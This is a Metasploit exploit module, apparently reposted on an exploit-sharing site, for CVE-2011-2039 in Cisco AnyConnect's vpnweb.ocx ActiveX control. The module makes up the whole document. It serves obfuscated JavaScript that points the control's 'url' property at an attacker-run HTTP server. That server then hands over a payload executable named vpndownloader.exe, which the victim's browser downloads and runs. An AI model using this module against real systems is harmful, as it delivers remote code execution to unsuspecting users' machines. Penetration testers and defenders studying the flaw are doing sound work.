Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

2011-06-0700:00:00
metasploit
0day.today
JSON
Exploit for windows platform in category remote exploits
##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
            'Description'    => %q{
                    This module exploits a vulnerability in the Cisco AnyConnect VPN client
                vpnweb.ocx ActiveX control. This control is typically used to install the
                VPN client. An attacker can set the 'url' property which is where the control
                tries to locate the files needed to install the client.
 
                    The control tries to download two files from the site specified within the
                'url' property. One of these files it will be stored in a temporary directory and
                executed.
                    },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'bannedit' ],
            'Version'        => '$Revision: 12872 $',
            'References'     =>
                [
                    [ 'CVE', '2011-2039' ],
                    [ 'OSVDB', '72714'],
                    [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
                    [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
                ],
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic',
                            {
                                'Arch' => ARCH_X86
                            }
                    ],
                ],
            'DisclosureDate' => 'Jun 01 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
            ], self.class)
    end
 
    def on_request_uri(cli, request)
 
        if request.uri.match(/vpndownloader\.exe/)
            exe = generate_payload_exe({:code => payload.encoded})
 
            print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
            send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
            select(nil, nil, nil, 5) # let the file download
            handler(cli)
            return
        end
         
        if request.uri.match(/updates\.txt/)
            print_status("Client requested: #{request.uri}. Sending updates.txt")
            updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
            send_response(cli, updates, { 'Content-Type' => 'text/plain' })
            return
        end
 
        url = get_uri(cli)
 
        dir = rand_text_alpha((rand(40) + 1))
        js = ::Rex::Exploitation::JSObfu.new %Q|
        var x = document.createElement("object");
        x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
        x.url = "#{url}/#{dir}/";
|
        js.obfuscate
        html = "<html>\n\t<script>#{js}\t</script>\n</html>"
        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response_html(cli, html)
    end
end



#  0day.today [2018-02-09]  #
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